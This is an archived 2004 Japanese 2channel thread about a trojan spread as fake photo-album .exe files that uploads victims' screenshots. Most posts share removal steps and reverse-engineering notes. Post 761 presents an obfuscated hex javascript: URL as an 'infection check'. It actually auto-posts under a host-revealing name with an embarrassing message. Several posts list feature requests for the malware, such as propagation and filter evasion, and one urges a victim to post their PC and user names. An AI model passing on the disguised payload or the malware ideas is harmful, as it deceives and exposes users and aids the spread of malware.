【警報】Winnyを狙ったワーム・ウイルス情報 Part26

【警報】Winnyを狙っ� ..

619:[名無し]さん(bin+cue).rar
04/09/23 00:24:10 yEjCkAsP
祭り会場どこ？
参加したい

620:[名無し]さん(bin+cue).rar
04/09/23 00:24:48 iavrH4rm
XP限定？

621:[名無し]さん(bin+cue).rar
04/09/23 00:26:02 IFT2b9V5
98では試してないけど、2000でも感染する。
内部的には特にOSに依存しているように見えないよ。

622:[名無し]さん(bin+cue).rar
04/09/23 00:26:21 62NRg8JO
>>619 ここらしいよ　【うｐろだ】アップローダー案内所13【きんたま】
　　　　　　　　　　　　　ｽﾚﾘﾝｸ(ascii2d板)
　　　　
　　　　苺キンタ祭

623:[名無し]さん(bin+cue).rar
04/09/23 00:26:43 Omvkoikg
>>619
ｽﾚﾘﾝｸ(ascii2d板)

624:[名無し]さん(bin+cue).rar
04/09/23 00:26:52 8EfG+J1e
jpgもﾔｳﾞｧｲらしいぞ!!!!

625:[名無し]さん(bin+cue).rar
04/09/23 00:27:05 IFT2b9V5
でも、プロセス殺せないって言い過ぎだね、祭りスレ。
プロセスツリーを殺せば両方死ぬよ。

626:[名無し]さん(bin+cue).rar
04/09/23 00:28:03 yEjCkAsP
>>622,623
thx

627:[名無し]さん(bin+cue).rar
04/09/23 00:29:09 Q+leSqll
>>563
ノートン先生には出しておいた。

628:[名無し]さん(bin+cue).rar
04/09/23 00:29:14 neSmPO5T
晒されたjpg見てたら、ﾒｰﾗが勝手に起動したぞ、ｵｲ

629:[名無し]さん(bin+cue).rar
04/09/23 00:29:36 mmGHQUsE
おいおまいら関祭りには参加しなかったのか？

630:[名無し]さん(bin+cue).rar
04/09/23 00:31:11 zW53Q5jb
>>629
してるよ。チャットだろ

631:[名無し]さん(bin+cue).rar
04/09/23 00:32:10 XTKk22G2
>>630
お前可愛いな

632:[名無し]さん(bin+cue).rar
04/09/23 00:33:53 WmXl7kiF
原口祭りの次は関祭りか

633:[名無し]さん(bin+cue).rar
04/09/23 00:35:56 IE8I1c5s
原口とか関って誰？

634:[名無し]さん(bin+cue).rar
04/09/23 00:35:59 mmGHQUsE
tesu

635:[名無し]さん(bin+cue).rar
04/09/23 00:39:25 sH8yfJe2
セーフモードで起動しなくても駆除できるよ。
使うものはコマンドプロンプトとレジストリエディタ。

1. 感染したらまず、コマンドプロンプトを開いてtasklistを実行
2. その中に以下のいずれかのファイル名があることを確認

(写真集) (ロリータ) 水原友里.exe
(写真集) (ロリータ) 相田香奈子.exe
コピー～ (写真集) (ロリータ) 河瀬菜美.exe
shellsystem.exe

3. あるのを確認したら下記のコマンドを入力
　taskkill /f /im "ウイルスのファイル名" /t

4. 「成功」と出たら次は下記ウイルスファイルの削除を行う
　%SystemRoot%\shellsystem.exe
　解凍先にあるウイルスファイル

5. 削除が完了したらレジストリエディタ（regedit）を開いて
HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Run
shellsystem.exe :='C:\Windows\shellsystem.exe'
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
shellsystem.exe :='C:\Windows\shellsystem.exe'
を削除する

以上で完了かな。

636:[名無し]さん(bin+cue).rar
04/09/23 00:39:27 EpVCAi7y
感染能力ないんだろ？

637:[名無し]さん(bin+cue).rar
04/09/23 00:39:46 mmGHQUsE
てす

638:[名無し]さん(bin+cue).rar
04/09/23 00:41:09 62NRg8JO
>>627 ID変わってるけど㌧くす
　　　　SS見たいのは山々だけど、ろだが重くて見れんよ(´･ω･`)ｼｮﾎﾞｰﾝ
　　　　というかつい最近あった脆弱性を突いて、晒されたjpgを見ただけで感染したら
　　　　恐ろしいかも　もともと感染しちゃった人は偽装exeを知らなかったんだね…

639:[名無し]さん(bin+cue).rar
04/09/23 00:42:44 mmGHQUsE
ニュー速で規制されたorz
９０秒ってなげーよ・・・

640:[名無し]さん(bin+cue).rar
04/09/23 00:43:48 Xufqlvin
えーと、nyはPCに入れてないんですが、感染してしまいました。
上で書かれた方法で徹底的に除去しましたが、再インストールの必要性はありますか？

641:感染でパニクってる者達へ
04/09/23 00:44:13 ERKjq774
以上
ｽﾚﾘﾝｸ(download板)
の
>>635
さんの書き込みです

成功したら彼に感謝を

642:[名無し]さん(bin+cue).rar
04/09/23 00:44:36 avdWvEQz
>>640
人生を再インストー（ｒｙ

643:[名無し]さん(bin+cue).rar
04/09/23 00:45:00 Rr2p3mqe
キンタマのやつ、システムの復元やったらウィンドゥズのトコにあったファイル消えたけど
これで大丈夫？

644:[名無し]さん(bin+cue).rar
04/09/23 00:45:19 IFT2b9V5
vbsあたりで除去パッチ簡単に作れそうだね。

645:[名無し]さん(bin+cue).rar
04/09/23 00:46:08 Xufqlvin
>>642
なるほど、いっそこの際元から断つ(絶つ)、と。
人生のアドバイスありがとうございます。

646:[名無し]さん(bin+cue).rar
04/09/23 00:46:11 IE8I1c5s
>>643
ドゥイジョウブドゥス

647:[名無し]さん(bin+cue).rar
04/09/23 00:46:36 R1XdgUSO
こどもホタル祭りﾜﾛﾀ

648:[名無し]さん(bin+cue).rar
04/09/23 00:47:05 Rr2p3mqe
>>646
サンクス

649:[名無し]さん(bin+cue).rar
04/09/23 00:49:23 4MBKm6hw
USBｶﾒﾗでｽｸﾘｰﾝｼｮｯﾄ機能はどうした?

650:[名無し]さん(bin+cue).rar
04/09/23 00:49:45 o5J4yEHm
>647
なにそれ？

651:[名無し]さん(bin+cue).rar
04/09/23 00:53:55 ZTCe7RBf
>>635
tasklistってXPhomeだとなに？

652:[名無し]さん(bin+cue).rar
04/09/23 00:55:00 Q9B0LMRA
2ch側がUserAgentではじくようにするのが手っ取り早い?

653:[名無し]さん(bin+cue).rar
04/09/23 00:57:19 R1XdgUSO
>>650
【うｐろだ】アップローダー案内所13【きんたま】
ｽﾚﾘﾝｸ(ascii2d板:617番)

654:[名無し]さん(bin+cue).rar
04/09/23 00:58:51 o5J4yEHm
>653
わかった。どうも。

655:[名無し]さん(bin+cue).rar
04/09/23 00:59:22 cDvdfQLH
にしてもDelphiやらPerlやら、糞言語ばかりで作るな・・・ｳｨﾙｽ

656:[名無し]さん(bin+cue).rar
04/09/23 01:05:43 sH8yfJe2
>>635はXP Pro前提で書いてます。
Homeやその他のOSは>>604あたりで。

657:[名無し]さん(bin+cue).rar
04/09/23 01:06:19 avdWvEQz
>>656
やっぱりpro限定だったか

658:[名無し]さん(bin+cue).rar
04/09/23 01:06:22 +1rdgFwz
感染するやつは馬鹿

659:[名無し]さん(bin+cue).rar
04/09/23 01:07:11 IFT2b9V5
>>652
monadzillaのブラウザの何かに偽装してるんじゃないかと思うよ。

660:[名無し]さん(bin+cue).rar
04/09/23 01:08:11 cDvdfQLH
苺キンタマのUSER_AGENTはmonazilla.orgの資料室そのままでしたが。

661:[名無し]さん(bin+cue).rar
04/09/23 01:08:22 IFT2b9V5
taskkillあたりは、買ったOSのsupportディレクトリにあるsupporttoolsにあるんじゃないかと。

662:[名無し]さん(bin+cue).rar
04/09/23 01:10:41 mmGHQUsE
しかし久々にflashget使ったよｗ

663:[名無し]さん(bin+cue).rar
04/09/23 01:13:14 dsk7MRPS
一番簡単な削除方法は>>643って事？

664:[名無し]さん(bin+cue).rar
04/09/23 01:13:41 IE8I1c5s
俺も久々にIrvine使ったｗ

665:[名無し]さん(bin+cue).rar
04/09/23 01:15:05 Q9B0LMRA
Monazilla/1.00 (toolname/ver)Maropa2chをはじけば

666:[名無し]さん(bin+cue).rar
04/09/23 01:27:08 Zv59j045
しかしキンタマ関係のVirus作る奴はいつも笑わしてくれる

667:[名無し]さん(bin+cue).rar
04/09/23 01:35:02 ntwmMQhY
俺フォルダアイコンデフォのままなんだがこんなの踏む奴いるのか？

668:[名無し]さん(bin+cue).rar
04/09/23 01:35:42 mmGHQUsE
もううｐはやんだの？

669:[名無し]さん(bin+cue).rar
04/09/23 01:36:08 yEjCkAsP
.folderどころか.exeを踏む奴がイパーイ
>>667
一応変えといたら？

670:[名無し]さん(bin+cue).rar
04/09/23 01:37:41 avdWvEQz
ってなに、shareの方でもクリップボード晒しｳｨﾙｽが出てたんだな
share初のｳｨﾙｽとは聞いていたが、ｸﾘﾎﾞ晒しとは、なかなかやるじゃないかshare

671:[名無し]さん(bin+cue).rar
04/09/23 01:39:33 62NRg8JO
>>667 ロリ画像の欲望に負けたら踏むさ

>>668 祭り会場にいってみなされ

俺も今更ながら変えたよ　圧縮ファイルにはdelexeとSSMは手放せない　

672:[名無し]さん(bin+cue).rar
04/09/23 01:41:38 cDvdfQLH
ってかXPユーザは気付けよ、アイコンが古い事と小さくしたらそのまんま小さくなる点に。

673:[名無し]さん(bin+cue).rar
04/09/23 01:43:20 ntwmMQhY
>>672
同意。
アイコンが全然違う。

674:[名無し]さん(bin+cue).rar
04/09/23 02:32:28 E03v0hA1
ｵﾜﾀ

675:[名無し]さん(bin+cue).rar
04/09/23 02:34:21 mva2OVxj
Share(仮称)__part66
ｽﾚﾘﾝｸ(download板:644番)
644 名前：人柱 ◆k2VpQ2TTb. ：04/09/23 02:03:52 ID:9E7gEobQ
実は秘密のプログラムには秘密のバックドアが仕掛けてあったって知ってた？
京都府警のところにいってるよん。

676:[名無し]さん(bin+cue).rar
04/09/23 02:40:20 oBodvraO
まず作者は
・うｐ炉だを多数の中からランダムに
・ｷｬﾌﾟﾁｬ以外もうｐ。できればkakikomi.txt
・繁殖機能
これよろしく

677:[名無し]さん(bin+cue).rar
04/09/23 02:41:48 yDWoB56M
Rock54対策も重要だな

678:[名無し]さん(bin+cue).rar
04/09/23 02:47:20 biKrCHPF
2chのそれっぽいスレでURL検索
対応うｐろだCGI検出
特殊なファイル名でうｐ
うｐファイル名を調べて同種ウィルスによるうｐ数が一定以上ならば
新たなうpろだ探し

複数のうｐろだCGIに対応しておけばそれなりに
強固だと思ふ

679:[名無し]さん(bin+cue).rar
04/09/23 02:47:44 mmGHQUsE
あ～面白かった。三日分は笑ったな。

680:[名無し]さん(bin+cue).rar
04/09/23 02:51:47 XmzjVHkd
exe ファイル　捨てたい

681:[名無し]さん(bin+cue).rar
04/09/23 02:52:48 oBodvraO
自身をうｐろだに名前変えまくってうｐしまくり

はやめてね
困るから

682:[名無し]さん(bin+cue).rar
04/09/23 02:59:52 EETLBaqB
苺キンタマに感染したかどうかは
どうやってわかるの？教えてエロい人

683:[名無し]さん(bin+cue).rar
04/09/23 03:00:29 LvJ+JBBu
苺ウィルスワラタｗ
なんだこりゃ

684:[名無し]さん(bin+cue).rar
04/09/23 03:05:04 LvJ+JBBu
それにしてもよくもいろいろと考えつくものだ

685:[名無し]さん(bin+cue).rar
04/09/23 03:05:08 IFT2b9V5
>>682
タスクマネージャひらいてプロセス見て、
なかにshellsystem.exeってのがあったらアウト。

686:[名無し]さん(bin+cue).rar
04/09/23 03:12:36 LvJ+JBBu
>>682
つーか、exe実行したの？実行してないなら９割９分平気。

687:[名無し]さん(bin+cue).rar
04/09/23 03:19:35 EETLBaqB
>>685
アリガトウ。感染してないみたいだ。良かった

>>686
してないと思う。

688:[名無し]さん(bin+cue).rar
04/09/23 03:29:09 xduUn+v/
作りこんではあるが、洗練されてない
不必要なコードがいっぱいあるけど、なんでやろ。

URLﾘﾝｸ(www.ff.iij4u.or.jp)
ここからターゲット（おすすめ、チャット、特別企画、ツール類、運営案内など）を選択、

FROM=%s&mail=%s&MESSAGE=%s&bbs=%s&key=%s&time=%s&submit=%sで、メル欄に回数
subject=%s&FROM=%s&mail=%s&MESSAGE=%s&bbs=%s&time=%s&submit=%s、スレ作成機能
form-data /upload/c=03okari/confirm.cgi
up.isp.2ch.net URLﾘﾝｸ(up.isp.2ch.net) この辺で取得して書きコ
Software\Meropa ？？なんだろこのディレクトリ
Software\Microsoft\Windows\CurrentVersion\Run 投下先
Software\Microsoft\Microsotf 何か投下
フォルダアイコンはbitmapをそのまま使ってるから変なんだな

逆アセも簡単そうなので、環境持ってると............
パラメータを変えるだけで、感染能力含め、かなりいろいろなことができるように作ってある
いわば、キンタマメイカーのようなものか？

689:[名無し]さん(bin+cue).rar
04/09/23 03:30:41 yEjCkAsP
カキコの内容少し弄るだけで又２ｃｈに投稿されるようになるしな

690:[名無し]さん(bin+cue).rar
04/09/23 03:33:43 62NRg8JO
将来のために余裕を持って設計してあるってことか…

691:[名無し]さん(bin+cue).rar
04/09/23 03:35:48 MBxbzncs
まだまだ祭りは続きそうだ

692:[名無し]さん(bin+cue).rar
04/09/23 03:39:42 9fWyBJ/z
今日はネットをしていなかった
今更ながらウィルスの存在を知った。
さっそく調べて行って見た。
関さんが面白いと思った。

693:[名無し]さん(bin+cue).rar
04/09/23 03:39:47 qx0T+sDR
ｷﾝﾀﾏ騒ぎがあってよかーたと重田

694:[名無し]さん(bin+cue).rar
04/09/23 04:09:24 LvJ+JBBu
>>690
いくらでも亜種が作れるってことだろうな

695:[名無し]さん(bin+cue).rar
04/09/23 04:12:23 rtwkFYAH
>>685
タスクマネージャのプロセスから削除だけじゃダメなの？

696:[名無し]さん(bin+cue).rar
04/09/23 04:19:45 kOQgldzO
当たり前だろ…

697:[名無し]さん(bin+cue).rar
04/09/23 04:21:34 rtwkFYAH
やっぱりだめか

698:[名無し]さん(bin+cue).rar
04/09/23 04:23:04 qaAkrrtW
再起動したら復活するし

699:[名無し]さん(bin+cue).rar
04/09/23 04:25:47 Y5vbHsBs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run
ここら辺もregeditで見とけよ

700:[名無し]さん(bin+cue).rar
04/09/23 04:27:59 rtwkFYAH
shellsystem.exe以外は無視してOK？
あとノートンで遮断した場合は画像は流れない？

701:[名無し]さん(bin+cue).rar
04/09/23 04:34:09 XZhKNgqY
なんだか調子に乗って改造した奴が先に逮捕されそう

702:[名無し]さん(bin+cue).rar
04/09/23 04:37:36 rMURrwFg
牛に我慢させるか

703:[名無し]さん(bin+cue).rar
04/09/23 04:40:22 EiFN9IZi
誤爆だ　わりぃ

704:[名無し]さん(bin+cue).rar
04/09/23 04:44:18 62NRg8JO
これならとってもわかりやすい画像ですな

URLﾘﾝｸ(v.isp.2ch.net)　もう典型的かと

705:[名無し]さん(bin+cue).rar
04/09/23 04:58:57 MZi2DiBQ
これｘｐ以外は平気なの？

706:[名無し]さん(bin+cue).rar
04/09/23 04:59:21 SFKAhjW3
ノートンインターネットセキュリティの様なものが常駐してたら
プログラムによって勝手に晒されるようなことは無いよな？

707:[名無し]さん(bin+cue).rar
04/09/23 05:00:55 JtMoVLJN
URLﾘﾝｸ(plaza.rakuten.co.jp)

708:[名無し]さん(bin+cue).rar
04/09/23 05:02:56 g70Ywgh6
>>705
どうしてそういう結論になるのかが判らん。

>>706
設定次第。学習モードとかでユーザが勝手な通信を許可したら､
なんぼセキュリティソフトが入っててもそりゃアウトにもなる。

709:[名無し]さん(bin+cue).rar
04/09/23 05:04:36 Q7dG25BA
アップローダから知らないファイル落としたりしなきゃ、感染しないんだよな？
こうもいっぱいかかってると、最近何も落としてないのに不安になる

710:[名無し]さん(bin+cue).rar
04/09/23 05:04:47 MZi2DiBQ
>>708
ボロPCで感染実験してみたのさ（OS　ME）
そんで晒されるか待ってるだけど、一向にうｐされないんでつよ。

711:[名無し]さん(bin+cue).rar
04/09/23 05:05:29 4TL6YJ26
まぁ拡張子表示はしっかりしとけってこったな

712:[名無し]さん(bin+cue).rar
04/09/23 05:09:58 xduUn+v/
>>705
苺キンタマ(仮)は、Windows 98以降なら感染というか、踏んだら効果を示す

>>706
httpを使うからWebが見られる環境ならアウト（f/wで80番閉じてれば別だが、web見られないよ）

713:[名無し]さん(bin+cue).rar
04/09/23 05:10:25 5x3EooTF
URLﾘﾝｸ(v.isp.2ch.net)
貴様ッ見ているな！

714:[名無し]さん(bin+cue).rar
04/09/23 05:13:40 MZi2DiBQ
windows\shellsystem.exeはあったんだけど
レジストリは追加されてないんだよね
これじゃまだ感染しとらんのかね？

もう一回踏んでみるかな。。。

715:[名無し]さん(bin+cue).rar
04/09/23 05:14:27 57yhE0eV
PFW入れてれば、ウィルスが通信しようとしたのを検知してくれるんじゃないかい
何でもOKで通してれば意味無いけど
あと、SP2のPFWはアウトバウンド検知してくれないんだっけ？

716:[名無し]さん(bin+cue).rar
04/09/23 05:18:37 aY8YkHOS
URLﾘﾝｸ(strawberry.web-sv.com)
トロイらしいんだけど、だれか解析頼む。

717:[名無し]さん(bin+cue).rar
04/09/23 05:19:45 xduUn+v/
>>715
ウイルスというか、現時点ではトロイなんだが
通信といっても、書き込みと変わらんからf/wでの検知は難しい
XP SP2のf/wは、外→内のみ。

718:[名無し]さん(bin+cue).rar
04/09/23 05:25:36 JsiucGEH
結局はキンタマと同じでexeを実行しなければいいってことだけど
XPは標準で表示しないしな。
何でこんな仕様なんだorz

ところでアップローダスレを自分のユーザ名で検索してしまった香具師

ﾉｼ

719:[名無し]さん(bin+cue).rar
04/09/23 05:25:48 eq0QK75x
俺もサンプルとして捕獲しておきたいんだが、苺1の1360の三点セットってやつでいいんだよね。

720:[名無し]さん(bin+cue).rar
04/09/23 05:27:02 Ypzo5dny
ってかny関係ないじゃん・・・

721:[名無し]さん(bin+cue).rar
04/09/23 05:28:00 0ylh05j4
ｽﾚﾀｲでややこしくなってるね

722:[名無し]さん(bin+cue).rar
04/09/23 05:28:17 57yhE0eV
>>717
普通のPFWってEXEファイル単位で通信を検知して知らせてくれんじゃないの？
ループバックでも利用してない限りは大丈夫だと思うが

723:719
04/09/23 05:29:12 eq0QK75x
ＯＫ、これであってたようだ。

724:[名無し]さん(bin+cue).rar
04/09/23 05:29:54 MqBRPt/h
>httpを使うからWebが見られる環境ならアウト（f/wで80番閉じてれば別だが、web見られないよ）

>f/w

725:[名無し]さん(bin+cue).rar
04/09/23 05:33:52 Pi3bt/OK
おもしろそいので俺も捕獲しとこ

726:[名無し]さん(bin+cue).rar
04/09/23 05:34:21 AH6SroMo
さて、キンタマと違って
特定のサイトやアップローダーに書き込みを行う以上
そこから業務妨害で損害賠償請求されてもおかしくないトロイなんだが

ま、日本の警察じゃ作成者を特定できんだろうな・・・
でも、苺にexeファイルをアップした人間を特定して締め上げればいいのか？

727:[名無し]さん(bin+cue).rar
04/09/23 05:34:22 Pi3bt/OK
間違え;y=ｰ( ﾟдﾟ)･∵.　ﾀｰﾝ

728:[名無し]さん(bin+cue).rar
04/09/23 05:50:14 U98tvZkV
要望まとめ
・複数のうpろだをランダムに使うように(2ちゃんねるアップローダーはやめれ)
・デスクトップ画像以外もうｐするように(kakikomi.txtとか)
・繁殖機能。zipで適当なファイルといっしょにウィルス本体も固めてうｐ。
・Rock54対策。NGワードが含まれる書き込みが規制されるから晒しテンプレを複数作れば大丈夫か?

729:[名無し]さん(bin+cue).rar
04/09/23 05:50:39 VGKgqq6T
なんで怪しいexeファイルを実行すんのかなって思ってたけど
拡張子を表示しない設定だと初心者はわからんわな～

730:[名無し]さん(bin+cue).rar
04/09/23 05:52:17 IFT2b9V5
>>728
要望するなよ(笑)

731:[名無し]さん(bin+cue).rar
04/09/23 05:52:23 4TL6YJ26
セキュリティに対する意識ってなかなかあがらないな

732:[名無し]さん(bin+cue).rar
04/09/23 05:54:24 fgnK5pHv
>>728
共犯者ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!!!

733:[名無し]さん(bin+cue).rar
04/09/23 05:56:44 tcoLxpqV
人間のロリ好きってアニメ、ゲームも好む傾向があるんだな。
なかなか興味深かった。

734:[名無し]さん(bin+cue).rar
04/09/23 05:58:31 cTDJ+/Lv
kakikomi晒されたら辛いな
他の情報で個人割れてたらきっと死人が出る

735:[名無し]さん(bin+cue).rar
04/09/23 06:07:00 JsiucGEH
exeごとに通信制御するNortonとかのFWは
ポート80番使ってようとブロックするんじゃないの？

736:[名無し]さん(bin+cue).rar
04/09/23 06:09:13 IFT2b9V5
>>735
する。というか、初物がソケットひらこうとしたときに騒ぐ。

737:[名無し]さん(bin+cue).rar
04/09/23 06:10:23 0ylh05j4
で、エロの魔力で許可するをクリック！

738:[名無し]さん(bin+cue).rar
04/09/23 06:18:26 0jfdhz8j

簡易プロテクト？

C:\WINDOWS>copy notepad.exe shellsystem.exe
C:\WINDOWS>attrib +R shellsystem.exe

とりあえず実験用の９８ＳＥ環境ではうまくいった。
メインマシンで実験する度胸はないので、ＸＰなどでは不明。

739:[名無し]さん(bin+cue).rar
04/09/23 06:25:02 J6w/KxT0
これ犯人たどれるだろ。ネットカフェとかかな？

740:[名無し]さん(bin+cue).rar
04/09/23 06:26:03 IFT2b9V5
>>739
踏み台はさまってたら無理

741:[名無し]さん(bin+cue).rar
04/09/23 06:29:08 J6w/KxT0
>>740
プロバイダに問い合わせりゃアクセス記録のこってんじゃないの？

742:[名無し]さん(bin+cue).rar
04/09/23 06:32:12 IFT2b9V5
>>741
ドコのプロバイダに問い合わせるの？

743:[名無し]さん(bin+cue).rar
04/09/23 06:32:29 JsiucGEH
海外プロキシを多段でかましてればよほどのことがないと
たどれてもたどらないと思う。

744:[名無し]さん(bin+cue).rar
04/09/23 06:35:42 J6w/KxT0
>>742
踏み台のだよ。

745:[名無し]さん(bin+cue).rar
04/09/23 06:38:02 IFT2b9V5
>>744
もし俺が犯人だったとしたら、踏み台にしろ串にしろ
一段ではやらないだろうね。捕まりたくないし。

746:[名無し]さん(bin+cue).rar
04/09/23 06:40:16 xduUn+v/
>>739
追求のキーになるのが >>688で報告した
> Software\Meropa ？？なんだろこのディレクトリ
なんだが、こんなディレクトリを作るアプリは、かなーり特殊な
半導体設計用のものらしい。こんなの入れてる人間は国内では限られる。
ここから手繰るのがよさげ。スキルは相当と思えるので、配布元から掘るのは難しそう

747:[名無し]さん(bin+cue).rar
04/09/23 06:40:33 J6w/KxT0
>>745
俺がもし被害者だったら100段くらいまでは頑張ってたどるよｗ
この手のウイルスは犯人が殺されても不思議じゃないと思うんだが。

748:[名無し]さん(bin+cue).rar
04/09/23 06:44:13 xduUn+v/
>>747
そこいらに、いくらでもある
WEP無効の無線LANを踏み台にしてたら、
多段串・海外串なんか使わなくても
たどるのは難しい。

749:[名無し]さん(bin+cue).rar
04/09/23 06:44:40 J6w/KxT0
殺されるは言い過ぎかｗ　でもなんらかの報復は受けると思う。
つーか踏み台に時限セットされたものなら辿るの不可能っぽいな・・

750:[名無し]さん(bin+cue).rar
04/09/23 06:45:30 zW53Q5jb
ネカフェで時限式アップロードするように仕込んだとか。

751:[名無し]さん(bin+cue).rar
04/09/23 06:46:34 99Ier2R9
頑張れ。

752:[名無し]さん(bin+cue).rar
04/09/23 07:02:00 CBy0Cio6
こうゆうのを見ると2chやnyする人ってヒッ●ーだけなのかなって思うね

URLﾘﾝｸ(v.isp.2ch.net)

ウイルスに気づかずに必死に抜いている人1名ｗ

753:469
04/09/23 07:04:35 kh8TR4yq
これって本人達が寝てる間は安全なんだね。

754:[名無し]さん(bin+cue).rar
04/09/23 07:08:11 kh8TR4yq
数字消すの忘れた・・・＿|￣|○

755:[名無し]さん(bin+cue).rar
04/09/23 07:08:12 CBy0Cio6
どうせなら、SS、PC名だけじゃなくて、
IP・ホストも晒してほしかったな

756:[名無し]さん(bin+cue).rar
04/09/23 07:12:12 IFT2b9V5
>>752
これは狙ってやってる気がしないではないな(笑)

757:[名無し]さん(bin+cue).rar
04/09/23 07:45:55 CtAJ3p7u
俺はこんなウイルスは怖くて作れないな
何が怖いって狙われるのが怖いね
作った奴は絶対に捕まらないと思ってるんだから
本気になって追ってみたら面白いことになるかも
例えばウイルス作者が警察だったりしたらヤバイだろうし。
そうじゃなくても作った奴は確実に追われた後人生終わるだろうし
そんな一世一代の大事俺は出来ない

758:[名無し]さん(bin+cue).rar
04/09/23 08:14:59 wZ9Gu9IX
新種ウイルスと聞いてきました

759:[名無し]さん(bin+cue).rar
04/09/23 08:15:35 iqYKdWhe
面白い事考える奴もいるもんだな

760:[名無し]さん(bin+cue).rar
04/09/23 08:18:41 U98tvZkV
Winnyは関係ないけどな。
今やってるのはShareで回ってるふしあなで2ch書き込みと半虹の苺ｷﾝﾀﾏ

761:[名無し]さん(bin+cue).rar
04/09/23 08:25:55 U98tvZkV
便乗してこれまで流行ってる
JavaScript:document.body.innerHTMLのｶﾞｲﾄﾞﾗｲﾝ2
ｽﾚﾘﾝｸ(gline板:595-586番)

感染確認するには
2ch専用ブラウザを使用している人は、ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、改行を外して１行にする。
３、１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、 Enterを押す（もしくは「移動」をクリックする）。
エラーが出れば感染してます

762:[名無し]さん(bin+cue).rar
04/09/23 08:26:46 U98tvZkV
>>761
参照間違えた・・
ｽﾚﾘﾝｸ(gline板:595-596番)

763:[名無し]さん(bin+cue).rar
04/09/23 08:27:19 1gUyhrM3
　

764:[名無し]さん(bin+cue).rar
04/09/23 08:51:04 SPCjNc3y
俺はﾍﾟｹﾋﾟｰがはじめての初心者だが、拡張子表示は真っ先にやったぞ…。
まぁ、かつては黒羊とﾒｰﾙｽﾄｰﾑをふんだ苦い経験持ちだが。

765:[名無し]さん(bin+cue).rar
04/09/23 09:07:42 SY1J+4JW
>>761
ﾜﾛﾀ
ロリ画像ですか

766:[名無し]さん(bin+cue).rar
04/09/23 09:08:11 GmtpX3PS
【使用OS】WinXP
【WindowsUpdateしてるか】はい。
【AntiVirusは】？？
【ちゃんとUpdateしてるか】？？
【スキャンした結果】オンラインにてスキャン
【オンラインスキャンしたならその結果は】いつもなら数個出るのに、不自然なぐらい何も検出されませんでした。
【Winnyのﾊﾞｰｼﾞｮﾝ】使ってません。ネットでウィルス貰いました。
【Winny歴、総DL量は】無し
【テンプレを読んだか】はい。
【テンプレにある対策を実行したか】実行しました。特に何も無かったです。
【症状か具体的に、分かる限りすべて書く】何となく、重い。動作が鈍い。
【何をしたらそんなことになったのか】うｐされてたファイルを開いたら。
【これまでにとった措置】オンラインスキャンのみ。

767:[名無し]さん(bin+cue).rar
04/09/23 09:12:14 U98tvZkV
>>766
(写真集) (ロリータ) 水原友里.exe
(写真集) (ロリータ) 相田香奈子.exe
コピー～ (写真集) (ロリータ) 河瀬菜美.exe
どれか開いた?

768:[名無し]さん(bin+cue).rar
04/09/23 09:19:52 Jz5Ghtix
キンタマ作った香具師、逮捕されたのか

769:[名無し]さん(bin+cue).rar
04/09/23 09:25:30 GmtpX3PS
>>767
開いたというか、ダブルクリックして開こうとした。
どれだったか覚えてない…。多分、２回ぐらい開こうとした。
何か怪しかったし、急にPCの反応がおかしくなったから、速攻電源切りました。
その後にまた起動して、全部ゴミ箱に捨てて、ゴミ箱も空にしました。

770:[名無し]さん(bin+cue).rar
04/09/23 09:28:46 kh8TR4yq
>>769
もう遅いｗ
とりあえず↓に来い。
削除の方法が分かるかもしれない。

アップローダーってずるい
ｽﾚﾘﾝｸ(ascii2d板)

771:[名無し]さん(bin+cue).rar
04/09/23 09:28:49 j/Jnnczc
>>769
今すぐネットを切断
C:\WINDOWSフォルダの中でshellsystem.exeを消せ
再起動して後は知ってるならレジストリの自動実行の辺りを探せ
急げ

772:[名無し]さん(bin+cue).rar
04/09/23 09:29:12 U98tvZkV
>>769
とりあえずユーザ名とコンピュータ名を晒せ。
マイコンピュータのプロパティから見れる。

773:[名無し]さん(bin+cue).rar
04/09/23 09:30:19 afWjuRcq
>>766
ご愁傷様

774:[名無し]さん(bin+cue).rar
04/09/23 09:30:56 0ylh05j4
>>685
を見て確認してみ

775:[名無し]さん(bin+cue).rar
04/09/23 09:41:27 P9SKfCRL
>>762
596 名前：水先案名無い人[sage] 投稿日：04/09/21(火) 22:21:33 ID:aLtl7+rE<
>>595のやつやると名前欄fusianasan、本文ロリ画像くださいで勝手に投稿されるってわけか？

597 名前：水先案名無い人[] 投稿日：04/09/21(火) 23:16:48 ID:raTTdWET<
16進でご苦労な事だ。

598 名前：p29d3b8.urawac00.ap.so-net.ne.jp[] 投稿日：04/09/21(火) 23:18:09 ID:ItaWKNCP<
ロリ画像ください

599 名前：水先案名無い人[sage] 投稿日：04/09/21(火) 23:18:27 ID:ItaWKNCP<
orz

600 名前：水先案名無い人[sage] 投稿日：04/09/22(水) 00:18:50 ID:8s+8uxdE<
おらは投稿確認が出て助かっただ

601 名前：水先案名無い人[sage] 投稿日：04/09/22(水) 01:00:01 ID:A3RcQubp<
そいえば、たいていの掲示板ってhttpだからポストする時に
暗号化されていないデータが云々のダイアログを出せるはずだが、
それを解除してる人って結構多いみたいだね。

602 名前：zaq3d2e96f7.zaq.ne.jp[] 投稿日：04/09/22(水) 02:42:09 ID:nVW0EyTb<
ロリ画像ください

603 名前：濡れ衣 zaq3d2e96f7.zaq.ne.jp ◆SbICHIROZ6 [sage] 投稿日：04/09/22(水) 02:43:59 ID:nVW0EyTb<
570はどうなるかちゃんと書いておいてくれよ。。
リモホ晒すのは構わないけど、テストスレになっちまうぞ

604 名前：水先案名無い人[sage] 投稿日：04/09/22(水) 03:55:11 ID:7PnzxniJ<
いかん、笑いが止まらんｗ
やらんでよかったｗ

776:[名無し]さん(bin+cue).rar
04/09/23 09:47:30 tcoLxpqV
